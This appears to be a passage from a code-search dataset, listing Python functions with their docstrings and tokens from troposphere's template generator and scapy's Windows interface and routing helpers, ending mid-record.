partition
stringclasses
3 values
func_name
stringlengths
1
134
docstring
stringlengths
1
46.9k
path
stringlengths
4
223
original_string
stringlengths
75
104k
code
stringlengths
75
104k
docstring_tokens
listlengths
1
1.97k
repo
stringlengths
7
55
language
stringclasses
1 value
url
stringlengths
87
315
code_tokens
listlengths
19
28.4k
sha
stringlengths
40
40
train
TemplateGenerator._get_resource_type_cls
Attempts to return troposphere class that represents Type of provided resource. Attempts to find the troposphere class who's `resource_type` field is the same as the provided resources `Type` field. :param resource: Resource to find troposphere class for :return: None: If no cla...
troposphere/template_generator.py
def _get_resource_type_cls(self, name, resource): """Attempts to return troposphere class that represents Type of provided resource. Attempts to find the troposphere class who's `resource_type` field is the same as the provided resources `Type` field. :param resource: Resource t...
def _get_resource_type_cls(self, name, resource): """Attempts to return troposphere class that represents Type of provided resource. Attempts to find the troposphere class who's `resource_type` field is the same as the provided resources `Type` field. :param resource: Resource t...
[ "Attempts", "to", "return", "troposphere", "class", "that", "represents", "Type", "of", "provided", "resource", ".", "Attempts", "to", "find", "the", "troposphere", "class", "who", "s", "resource_type", "field", "is", "the", "same", "as", "the", "provided", "r...
cloudtools/troposphere
python
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/template_generator.py#L115-L141
[ "def", "_get_resource_type_cls", "(", "self", ",", "name", ",", "resource", ")", ":", "# If provided resource does not have `Type` field", "if", "'Type'", "not", "in", "resource", ":", "raise", "ResourceTypeNotDefined", "(", "name", ")", "# Attempt to find troposphere res...
f7ea5591a7c287a843adc9c184d2f56064cfc632
train
TemplateGenerator._convert_definition
Converts any object to its troposphere equivalent, if applicable. This function will recurse into lists and mappings to create additional objects as necessary. :param {*} definition: Object to convert :param str ref: Name of key in parent dict that the provided definition ...
troposphere/template_generator.py
def _convert_definition(self, definition, ref=None, cls=None): """ Converts any object to its troposphere equivalent, if applicable. This function will recurse into lists and mappings to create additional objects as necessary. :param {*} definition: Object to convert :pa...
def _convert_definition(self, definition, ref=None, cls=None): """ Converts any object to its troposphere equivalent, if applicable. This function will recurse into lists and mappings to create additional objects as necessary. :param {*} definition: Object to convert :pa...
[ "Converts", "any", "object", "to", "its", "troposphere", "equivalent", "if", "applicable", ".", "This", "function", "will", "recurse", "into", "lists", "and", "mappings", "to", "create", "additional", "objects", "as", "necessary", "." ]
cloudtools/troposphere
python
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/template_generator.py#L143-L198
[ "def", "_convert_definition", "(", "self", ",", "definition", ",", "ref", "=", "None", ",", "cls", "=", "None", ")", ":", "if", "isinstance", "(", "definition", ",", "Mapping", ")", ":", "if", "'Type'", "in", "definition", ":", "# this is an AWS Resource", ...
f7ea5591a7c287a843adc9c184d2f56064cfc632
train
TemplateGenerator._create_instance
Returns an instance of `cls` with `args` passed as arguments. Recursively inspects `args` to create nested objects and functions as necessary. `cls` will only be considered only if it's an object we track (i.e.: troposphere objects). If `cls` has a `props` attribute, nested p...
troposphere/template_generator.py
def _create_instance(self, cls, args, ref=None): """ Returns an instance of `cls` with `args` passed as arguments. Recursively inspects `args` to create nested objects and functions as necessary. `cls` will only be considered only if it's an object we track (i.e.: trop...
def _create_instance(self, cls, args, ref=None): """ Returns an instance of `cls` with `args` passed as arguments. Recursively inspects `args` to create nested objects and functions as necessary. `cls` will only be considered only if it's an object we track (i.e.: trop...
[ "Returns", "an", "instance", "of", "cls", "with", "args", "passed", "as", "arguments", "." ]
cloudtools/troposphere
python
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/template_generator.py#L200-L299
[ "def", "_create_instance", "(", "self", ",", "cls", ",", "args", ",", "ref", "=", "None", ")", ":", "if", "isinstance", "(", "cls", ",", "Sequence", ")", ":", "if", "len", "(", "cls", ")", "==", "1", ":", "# a list of 1 type means we must provide a list of...
f7ea5591a7c287a843adc9c184d2f56064cfc632
train
TemplateGenerator._normalize_properties
Inspects the definition and returns a copy of it that is updated with any special property such as Condition, UpdatePolicy and the like.
troposphere/template_generator.py
def _normalize_properties(self, definition): """ Inspects the definition and returns a copy of it that is updated with any special property such as Condition, UpdatePolicy and the like. """ args = definition.get('Properties', {}).copy() if 'Condition' in definitio...
def _normalize_properties(self, definition): """ Inspects the definition and returns a copy of it that is updated with any special property such as Condition, UpdatePolicy and the like. """ args = definition.get('Properties', {}).copy() if 'Condition' in definitio...
[ "Inspects", "the", "definition", "and", "returns", "a", "copy", "of", "it", "that", "is", "updated", "with", "any", "special", "property", "such", "as", "Condition", "UpdatePolicy", "and", "the", "like", "." ]
cloudtools/troposphere
python
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/template_generator.py#L301-L332
[ "def", "_normalize_properties", "(", "self", ",", "definition", ")", ":", "args", "=", "definition", ".", "get", "(", "'Properties'", ",", "{", "}", ")", ".", "copy", "(", ")", "if", "'Condition'", "in", "definition", ":", "args", ".", "update", "(", "...
f7ea5591a7c287a843adc9c184d2f56064cfc632
train
TemplateGenerator._generate_custom_type
Dynamically allocates a new CustomResource class definition using the specified Custom::SomeCustomName resource type. This special resource type is equivalent to the AWS::CloudFormation::CustomResource.
troposphere/template_generator.py
def _generate_custom_type(self, resource_type): """ Dynamically allocates a new CustomResource class definition using the specified Custom::SomeCustomName resource type. This special resource type is equivalent to the AWS::CloudFormation::CustomResource. """ if not resour...
def _generate_custom_type(self, resource_type): """ Dynamically allocates a new CustomResource class definition using the specified Custom::SomeCustomName resource type. This special resource type is equivalent to the AWS::CloudFormation::CustomResource. """ if not resour...
[ "Dynamically", "allocates", "a", "new", "CustomResource", "class", "definition", "using", "the", "specified", "Custom", "::", "SomeCustomName", "resource", "type", ".", "This", "special", "resource", "type", "is", "equivalent", "to", "the", "AWS", "::", "CloudForm...
cloudtools/troposphere
python
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/template_generator.py#L334-L348
[ "def", "_generate_custom_type", "(", "self", ",", "resource_type", ")", ":", "if", "not", "resource_type", ".", "startswith", "(", "\"Custom::\"", ")", ":", "raise", "TypeError", "(", "\"Custom types must start with Custom::\"", ")", "custom_type", "=", "type", "(",...
f7ea5591a7c287a843adc9c184d2f56064cfc632
train
TemplateGenerator._generate_autoscaling_metadata
Provides special handling for the autoscaling.Metadata object
troposphere/template_generator.py
def _generate_autoscaling_metadata(self, cls, args): """ Provides special handling for the autoscaling.Metadata object """ assert isinstance(args, Mapping) init_config = self._create_instance( cloudformation.InitConfig, args['AWS::CloudFormation::Init']['config']) ...
def _generate_autoscaling_metadata(self, cls, args): """ Provides special handling for the autoscaling.Metadata object """ assert isinstance(args, Mapping) init_config = self._create_instance( cloudformation.InitConfig, args['AWS::CloudFormation::Init']['config']) ...
[ "Provides", "special", "handling", "for", "the", "autoscaling", ".", "Metadata", "object" ]
cloudtools/troposphere
python
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/template_generator.py#L350-L369
[ "def", "_generate_autoscaling_metadata", "(", "self", ",", "cls", ",", "args", ")", ":", "assert", "isinstance", "(", "args", ",", "Mapping", ")", "init_config", "=", "self", ".", "_create_instance", "(", "cloudformation", ".", "InitConfig", ",", "args", "[", ...
f7ea5591a7c287a843adc9c184d2f56064cfc632
train
TemplateGenerator._get_function_type
Returns the function object that matches the provided name. Only Fn:: and Ref functions are supported here so that other functions specific to troposphere are skipped.
troposphere/template_generator.py
def _get_function_type(self, function_name): """ Returns the function object that matches the provided name. Only Fn:: and Ref functions are supported here so that other functions specific to troposphere are skipped. """ if (function_name.startswith("Fn::") and ...
def _get_function_type(self, function_name): """ Returns the function object that matches the provided name. Only Fn:: and Ref functions are supported here so that other functions specific to troposphere are skipped. """ if (function_name.startswith("Fn::") and ...
[ "Returns", "the", "function", "object", "that", "matches", "the", "provided", "name", ".", "Only", "Fn", "::", "and", "Ref", "functions", "are", "supported", "here", "so", "that", "other", "functions", "specific", "to", "troposphere", "are", "skipped", "." ]
cloudtools/troposphere
python
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/template_generator.py#L371-L381
[ "def", "_get_function_type", "(", "self", ",", "function_name", ")", ":", "if", "(", "function_name", ".", "startswith", "(", "\"Fn::\"", ")", "and", "function_name", "[", "4", ":", "]", "in", "self", ".", "inspect_functions", ")", ":", "return", "self", "...
f7ea5591a7c287a843adc9c184d2f56064cfc632
train
TemplateGenerator._import_all_troposphere_modules
Imports all troposphere modules and returns them
troposphere/template_generator.py
def _import_all_troposphere_modules(self): """ Imports all troposphere modules and returns them """ dirname = os.path.join(os.path.dirname(__file__)) module_names = [ pkg_name for importer, pkg_name, is_pkg in pkgutil.walk_packages([dirname], prefix="troposphe...
def _import_all_troposphere_modules(self): """ Imports all troposphere modules and returns them """ dirname = os.path.join(os.path.dirname(__file__)) module_names = [ pkg_name for importer, pkg_name, is_pkg in pkgutil.walk_packages([dirname], prefix="troposphe...
[ "Imports", "all", "troposphere", "modules", "and", "returns", "them" ]
cloudtools/troposphere
python
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/template_generator.py#L383-L405
[ "def", "_import_all_troposphere_modules", "(", "self", ")", ":", "dirname", "=", "os", ".", "path", ".", "join", "(", "os", ".", "path", ".", "dirname", "(", "__file__", ")", ")", "module_names", "=", "[", "pkg_name", "for", "importer", ",", "pkg_name", ...
f7ea5591a7c287a843adc9c184d2f56064cfc632
train
PCO_option_dispatcher
Choose the correct PCO element.
scapy/contrib/gtp_v2.py
def PCO_option_dispatcher(s): """Choose the correct PCO element.""" option = orb(s[0]) cls = PCO_OPTION_CLASSES.get(option, Raw) return cls(s)
def PCO_option_dispatcher(s): """Choose the correct PCO element.""" option = orb(s[0]) cls = PCO_OPTION_CLASSES.get(option, Raw) return cls(s)
[ "Choose", "the", "correct", "PCO", "element", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/gtp_v2.py#L476-L481
[ "def", "PCO_option_dispatcher", "(", "s", ")", ":", "option", "=", "orb", "(", "s", "[", "0", "]", ")", "cls", "=", "PCO_OPTION_CLASSES", ".", "get", "(", "option", ",", "Raw", ")", "return", "cls", "(", "s", ")" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
train
PCO_protocol_dispatcher
Choose the correct PCO element.
scapy/contrib/gtp_v2.py
def PCO_protocol_dispatcher(s): """Choose the correct PCO element.""" proto_num = orb(s[0]) * 256 + orb(s[1]) cls = PCO_PROTOCOL_CLASSES.get(proto_num, Raw) return cls(s)
def PCO_protocol_dispatcher(s): """Choose the correct PCO element.""" proto_num = orb(s[0]) * 256 + orb(s[1]) cls = PCO_PROTOCOL_CLASSES.get(proto_num, Raw) return cls(s)
[ "Choose", "the", "correct", "PCO", "element", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/gtp_v2.py#L628-L632
[ "def", "PCO_protocol_dispatcher", "(", "s", ")", ":", "proto_num", "=", "orb", "(", "s", "[", "0", "]", ")", "*", "256", "+", "orb", "(", "s", "[", "1", "]", ")", "cls", "=", "PCO_PROTOCOL_CLASSES", ".", "get", "(", "proto_num", ",", "Raw", ")", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
_get_npcap_config
Get a Npcap parameter matching key in the registry. List: AdminOnly, DefaultFilterSettings, DltNull, Dot11Adapters, Dot11Support LoopbackAdapter, LoopbackSupport, NdisImPlatformBindingOptions, VlanSupport WinPcapCompatible
scapy/arch/windows/__init__.py
def _get_npcap_config(param_key): """ Get a Npcap parameter matching key in the registry. List: AdminOnly, DefaultFilterSettings, DltNull, Dot11Adapters, Dot11Support LoopbackAdapter, LoopbackSupport, NdisImPlatformBindingOptions, VlanSupport WinPcapCompatible """ hkey = winreg.HKEY_LOC...
def _get_npcap_config(param_key): """ Get a Npcap parameter matching key in the registry. List: AdminOnly, DefaultFilterSettings, DltNull, Dot11Adapters, Dot11Support LoopbackAdapter, LoopbackSupport, NdisImPlatformBindingOptions, VlanSupport WinPcapCompatible """ hkey = winreg.HKEY_LOC...
[ "Get", "a", "Npcap", "parameter", "matching", "key", "in", "the", "registry", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L76-L93
[ "def", "_get_npcap_config", "(", "param_key", ")", ":", "hkey", "=", "winreg", ".", "HKEY_LOCAL_MACHINE", "node", "=", "r\"SYSTEM\\CurrentControlSet\\Services\\npcap\\Parameters\"", "try", ":", "key", "=", "winreg", ".", "OpenKey", "(", "hkey", ",", "node", ")", "...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
_exec_cmd
Call a CMD command and return the output and returncode
scapy/arch/windows/__init__.py
def _exec_cmd(command): """Call a CMD command and return the output and returncode""" proc = sp.Popen(command, stdout=sp.PIPE, shell=True) if six.PY2: res = proc.communicate()[0] else: res = proc.communicate(timeout=5)[0] return res, proc.retur...
def _exec_cmd(command): """Call a CMD command and return the output and returncode""" proc = sp.Popen(command, stdout=sp.PIPE, shell=True) if six.PY2: res = proc.communicate()[0] else: res = proc.communicate(timeout=5)[0] return res, proc.retur...
[ "Call", "a", "CMD", "command", "and", "return", "the", "output", "and", "returncode" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L174-L183
[ "def", "_exec_cmd", "(", "command", ")", ":", "proc", "=", "sp", ".", "Popen", "(", "command", ",", "stdout", "=", "sp", ".", "PIPE", ",", "shell", "=", "True", ")", "if", "six", ".", "PY2", ":", "res", "=", "proc", ".", "communicate", "(", ")", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
get_windows_if_list
Returns windows interfaces through GetAdaptersAddresses. params: - extended: include anycast and multicast IPv6 (default False)
scapy/arch/windows/__init__.py
def get_windows_if_list(extended=False): """Returns windows interfaces through GetAdaptersAddresses. params: - extended: include anycast and multicast IPv6 (default False)""" # Should work on Windows XP+ def _get_mac(x): size = x["physical_address_length"] if size != 6: ...
def get_windows_if_list(extended=False): """Returns windows interfaces through GetAdaptersAddresses. params: - extended: include anycast and multicast IPv6 (default False)""" # Should work on Windows XP+ def _get_mac(x): size = x["physical_address_length"] if size != 6: ...
[ "Returns", "windows", "interfaces", "through", "GetAdaptersAddresses", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L205-L265
[ "def", "get_windows_if_list", "(", "extended", "=", "False", ")", ":", "# Should work on Windows XP+", "def", "_get_mac", "(", "x", ")", ":", "size", "=", "x", "[", "\"physical_address_length\"", "]", "if", "size", "!=", "6", ":", "return", "\"\"", "data", "...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
get_ips
Returns all available IPs matching to interfaces, using the windows system. Should only be used as a WinPcapy fallback.
scapy/arch/windows/__init__.py
def get_ips(v6=False): """Returns all available IPs matching to interfaces, using the windows system. Should only be used as a WinPcapy fallback.""" res = {} for iface in six.itervalues(IFACES): ips = [] for ip in iface.ips: if v6 and ":" in ip: ips.append(ip)...
def get_ips(v6=False): """Returns all available IPs matching to interfaces, using the windows system. Should only be used as a WinPcapy fallback.""" res = {} for iface in six.itervalues(IFACES): ips = [] for ip in iface.ips: if v6 and ":" in ip: ips.append(ip)...
[ "Returns", "all", "available", "IPs", "matching", "to", "interfaces", "using", "the", "windows", "system", ".", "Should", "only", "be", "used", "as", "a", "WinPcapy", "fallback", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L268-L280
[ "def", "get_ips", "(", "v6", "=", "False", ")", ":", "res", "=", "{", "}", "for", "iface", "in", "six", ".", "itervalues", "(", "IFACES", ")", ":", "ips", "=", "[", "]", "for", "ip", "in", "iface", ".", "ips", ":", "if", "v6", "and", "\":\"", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
get_ip_from_name
Backward compatibility: indirectly calls get_ips Deprecated.
scapy/arch/windows/__init__.py
def get_ip_from_name(ifname, v6=False): """Backward compatibility: indirectly calls get_ips Deprecated.""" iface = IFACES.dev_from_name(ifname) return get_ips(v6=v6).get(iface, [""])[0]
def get_ip_from_name(ifname, v6=False): """Backward compatibility: indirectly calls get_ips Deprecated.""" iface = IFACES.dev_from_name(ifname) return get_ips(v6=v6).get(iface, [""])[0]
[ "Backward", "compatibility", ":", "indirectly", "calls", "get_ips", "Deprecated", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L283-L287
[ "def", "get_ip_from_name", "(", "ifname", ",", "v6", "=", "False", ")", ":", "iface", "=", "IFACES", ".", "dev_from_name", "(", "ifname", ")", "return", "get_ips", "(", "v6", "=", "v6", ")", ".", "get", "(", "iface", ",", "[", "\"\"", "]", ")", "["...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
_pcap_service_control
Internal util to run pcap control command
scapy/arch/windows/__init__.py
def _pcap_service_control(action, askadmin=True): """Internal util to run pcap control command""" command = action + ' ' + pcap_service_name() res, code = _exec_cmd(_encapsulate_admin(command) if askadmin else command) if code != 0: warning(res.decode("utf8", errors="ignore")) return (code =...
def _pcap_service_control(action, askadmin=True): """Internal util to run pcap control command""" command = action + ' ' + pcap_service_name() res, code = _exec_cmd(_encapsulate_admin(command) if askadmin else command) if code != 0: warning(res.decode("utf8", errors="ignore")) return (code =...
[ "Internal", "util", "to", "run", "pcap", "control", "command" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L572-L578
[ "def", "_pcap_service_control", "(", "action", ",", "askadmin", "=", "True", ")", ":", "command", "=", "action", "+", "' '", "+", "pcap_service_name", "(", ")", "res", ",", "code", "=", "_exec_cmd", "(", "_encapsulate_admin", "(", "command", ")", "if", "as...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
pcapname
Get the device pcap name by device name or Scapy NetworkInterface
scapy/arch/windows/__init__.py
def pcapname(dev): """Get the device pcap name by device name or Scapy NetworkInterface """ if isinstance(dev, NetworkInterface): if dev.is_invalid(): return None return dev.pcap_name try: return IFACES.dev_from_name(dev).pcap_name except ValueError: retu...
def pcapname(dev): """Get the device pcap name by device name or Scapy NetworkInterface """ if isinstance(dev, NetworkInterface): if dev.is_invalid(): return None return dev.pcap_name try: return IFACES.dev_from_name(dev).pcap_name except ValueError: retu...
[ "Get", "the", "device", "pcap", "name", "by", "device", "name", "or", "Scapy", "NetworkInterface" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L759-L770
[ "def", "pcapname", "(", "dev", ")", ":", "if", "isinstance", "(", "dev", ",", "NetworkInterface", ")", ":", "if", "dev", ".", "is_invalid", "(", ")", ":", "return", "None", "return", "dev", ".", "pcap_name", "try", ":", "return", "IFACES", ".", "dev_fr...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
open_pcap
open_pcap: Windows routine for creating a pcap from an interface. This function is also responsible for detecting monitor mode.
scapy/arch/windows/__init__.py
def open_pcap(iface, *args, **kargs): """open_pcap: Windows routine for creating a pcap from an interface. This function is also responsible for detecting monitor mode. """ iface_pcap_name = pcapname(iface) if not isinstance(iface, NetworkInterface) and iface_pcap_name is not None: iface = I...
def open_pcap(iface, *args, **kargs): """open_pcap: Windows routine for creating a pcap from an interface. This function is also responsible for detecting monitor mode. """ iface_pcap_name = pcapname(iface) if not isinstance(iface, NetworkInterface) and iface_pcap_name is not None: iface = I...
[ "open_pcap", ":", "Windows", "routine", "for", "creating", "a", "pcap", "from", "an", "interface", ".", "This", "function", "is", "also", "responsible", "for", "detecting", "monitor", "mode", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L792-L811
[ "def", "open_pcap", "(", "iface", ",", "*", "args", ",", "*", "*", "kargs", ")", ":", "iface_pcap_name", "=", "pcapname", "(", "iface", ")", "if", "not", "isinstance", "(", "iface", ",", "NetworkInterface", ")", "and", "iface_pcap_name", "is", "not", "No...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
_read_routes_c_v1
Retrieve Windows routes through a GetIpForwardTable call. This is compatible with XP but won't get IPv6 routes.
scapy/arch/windows/__init__.py
def _read_routes_c_v1(): """Retrieve Windows routes through a GetIpForwardTable call. This is compatible with XP but won't get IPv6 routes.""" def _extract_ip(obj): return inet_ntop(socket.AF_INET, struct.pack("<I", obj)) routes = [] for route in GetIpForwardTable(): ifIndex = route...
def _read_routes_c_v1(): """Retrieve Windows routes through a GetIpForwardTable call. This is compatible with XP but won't get IPv6 routes.""" def _extract_ip(obj): return inet_ntop(socket.AF_INET, struct.pack("<I", obj)) routes = [] for route in GetIpForwardTable(): ifIndex = route...
[ "Retrieve", "Windows", "routes", "through", "a", "GetIpForwardTable", "call", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L821-L845
[ "def", "_read_routes_c_v1", "(", ")", ":", "def", "_extract_ip", "(", "obj", ")", ":", "return", "inet_ntop", "(", "socket", ".", "AF_INET", ",", "struct", ".", "pack", "(", "\"<I\"", ",", "obj", ")", ")", "routes", "=", "[", "]", "for", "route", "in...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
_read_routes_c
Retrieve Windows routes through a GetIpForwardTable2 call. This is not available on Windows XP !
scapy/arch/windows/__init__.py
def _read_routes_c(ipv6=False): """Retrieve Windows routes through a GetIpForwardTable2 call. This is not available on Windows XP !""" af = socket.AF_INET6 if ipv6 else socket.AF_INET sock_addr_name = 'Ipv6' if ipv6 else 'Ipv4' sin_addr_name = 'sin6_addr' if ipv6 else 'sin_addr' metric_name = '...
def _read_routes_c(ipv6=False): """Retrieve Windows routes through a GetIpForwardTable2 call. This is not available on Windows XP !""" af = socket.AF_INET6 if ipv6 else socket.AF_INET sock_addr_name = 'Ipv6' if ipv6 else 'Ipv4' sin_addr_name = 'sin6_addr' if ipv6 else 'sin_addr' metric_name = '...
[ "Retrieve", "Windows", "routes", "through", "a", "GetIpForwardTable2", "call", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L848-L893
[ "def", "_read_routes_c", "(", "ipv6", "=", "False", ")", ":", "af", "=", "socket", ".", "AF_INET6", "if", "ipv6", "else", "socket", ".", "AF_INET", "sock_addr_name", "=", "'Ipv6'", "if", "ipv6", "else", "'Ipv4'", "sin_addr_name", "=", "'sin6_addr'", "if", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
in6_getifaddr
Returns all IPv6 addresses found on the computer
scapy/arch/windows/__init__.py
def in6_getifaddr(): """ Returns all IPv6 addresses found on the computer """ ifaddrs = [] ip6s = get_ips(v6=True) for iface in ip6s: ips = ip6s[iface] for ip in ips: scope = in6_getscope(ip) ifaddrs.append((ip, scope, iface)) # Appends Npcap loopback ...
def in6_getifaddr(): """ Returns all IPv6 addresses found on the computer """ ifaddrs = [] ip6s = get_ips(v6=True) for iface in ip6s: ips = ip6s[iface] for ip in ips: scope = in6_getscope(ip) ifaddrs.append((ip, scope, iface)) # Appends Npcap loopback ...
[ "Returns", "all", "IPv6", "addresses", "found", "on", "the", "computer" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L916-L930
[ "def", "in6_getifaddr", "(", ")", ":", "ifaddrs", "=", "[", "]", "ip6s", "=", "get_ips", "(", "v6", "=", "True", ")", "for", "iface", "in", "ip6s", ":", "ips", "=", "ip6s", "[", "iface", "]", "for", "ip", "in", "ips", ":", "scope", "=", "in6_gets...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
get_working_if
Return an interface that works
scapy/arch/windows/__init__.py
def get_working_if(): """Return an interface that works""" try: # return the interface associated with the route with smallest # mask (route by default if it exists) iface = min(conf.route.routes, key=lambda x: x[1])[3] except ValueError: # no route iface = scapy.cons...
def get_working_if(): """Return an interface that works""" try: # return the interface associated with the route with smallest # mask (route by default if it exists) iface = min(conf.route.routes, key=lambda x: x[1])[3] except ValueError: # no route iface = scapy.cons...
[ "Return", "an", "interface", "that", "works" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L959-L974
[ "def", "get_working_if", "(", ")", ":", "try", ":", "# return the interface associated with the route with smallest", "# mask (route by default if it exists)", "iface", "=", "min", "(", "conf", ".", "route", ".", "routes", ",", "key", "=", "lambda", "x", ":", "x", "...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
route_add_loopback
Add a route to 127.0.0.1 and ::1 to simplify unit tests on Windows
scapy/arch/windows/__init__.py
def route_add_loopback(routes=None, ipv6=False, iflist=None): """Add a route to 127.0.0.1 and ::1 to simplify unit tests on Windows""" if not WINDOWS: warning("Not available") return warning("This will completely mess up the routes. Testing purpose only !") # Add only if some adpaters al...
def route_add_loopback(routes=None, ipv6=False, iflist=None): """Add a route to 127.0.0.1 and ::1 to simplify unit tests on Windows""" if not WINDOWS: warning("Not available") return warning("This will completely mess up the routes. Testing purpose only !") # Add only if some adpaters al...
[ "Add", "a", "route", "to", "127", ".", "0", ".", "0", ".", "1", "and", "::", "1", "to", "simplify", "unit", "tests", "on", "Windows" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L985-L1057
[ "def", "route_add_loopback", "(", "routes", "=", "None", ",", "ipv6", "=", "False", ",", "iflist", "=", "None", ")", ":", "if", "not", "WINDOWS", ":", "warning", "(", "\"Not available\"", ")", "return", "warning", "(", "\"This will completely mess up the routes....
3ffe757c184017dd46464593a8f80f85abc1e79a
train
NetworkInterface.update
Update info about a network interface according to a given dictionary. Such data is provided by get_windows_if_list
scapy/arch/windows/__init__.py
def update(self, data): """Update info about a network interface according to a given dictionary. Such data is provided by get_windows_if_list """ self.data = data self.name = data['name'] self.description = data['description'] self.win_index = data['win_index'] ...
def update(self, data): """Update info about a network interface according to a given dictionary. Such data is provided by get_windows_if_list """ self.data = data self.name = data['name'] self.description = data['description'] self.win_index = data['win_index'] ...
[ "Update", "info", "about", "a", "network", "interface", "according", "to", "a", "given", "dictionary", ".", "Such", "data", "is", "provided", "by", "get_windows_if_list" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L318-L360
[ "def", "update", "(", "self", ",", "data", ")", ":", "self", ".", "data", "=", "data", "self", ".", "name", "=", "data", "[", "'name'", "]", "self", ".", "description", "=", "data", "[", "'description'", "]", "self", ".", "win_index", "=", "data", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
NetworkInterface._npcap_set
Internal function. Set a [key] parameter to [value]
scapy/arch/windows/__init__.py
def _npcap_set(self, key, val): """Internal function. Set a [key] parameter to [value]""" res, code = _exec_cmd(_encapsulate_admin( " ".join([_WlanHelper, self.guid[1:-1], key, val]) )) _windows_title() # Reset title of the window if code != 0: raise OSEr...
def _npcap_set(self, key, val): """Internal function. Set a [key] parameter to [value]""" res, code = _exec_cmd(_encapsulate_admin( " ".join([_WlanHelper, self.guid[1:-1], key, val]) )) _windows_title() # Reset title of the window if code != 0: raise OSEr...
[ "Internal", "function", ".", "Set", "a", "[", "key", "]", "parameter", "to", "[", "value", "]" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L391-L399
[ "def", "_npcap_set", "(", "self", ",", "key", ",", "val", ")", ":", "res", ",", "code", "=", "_exec_cmd", "(", "_encapsulate_admin", "(", "\" \"", ".", "join", "(", "[", "_WlanHelper", ",", "self", ".", "guid", "[", "1", ":", "-", "1", "]", ",", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
NetworkInterface.ismonitor
Returns True if the interface is in monitor mode. Only available with Npcap.
scapy/arch/windows/__init__.py
def ismonitor(self): """Returns True if the interface is in monitor mode. Only available with Npcap.""" if self.cache_mode is not None: return self.cache_mode try: res = (self.mode() == "monitor") self.cache_mode = res return res ex...
def ismonitor(self): """Returns True if the interface is in monitor mode. Only available with Npcap.""" if self.cache_mode is not None: return self.cache_mode try: res = (self.mode() == "monitor") self.cache_mode = res return res ex...
[ "Returns", "True", "if", "the", "interface", "is", "in", "monitor", "mode", ".", "Only", "available", "with", "Npcap", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L414-L424
[ "def", "ismonitor", "(", "self", ")", ":", "if", "self", ".", "cache_mode", "is", "not", "None", ":", "return", "self", ".", "cache_mode", "try", ":", "res", "=", "(", "self", ".", "mode", "(", ")", "==", "\"monitor\"", ")", "self", ".", "cache_mode"...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
NetworkInterface.setmonitor
Alias for setmode('monitor') or setmode('managed') Only available with Npcap
scapy/arch/windows/__init__.py
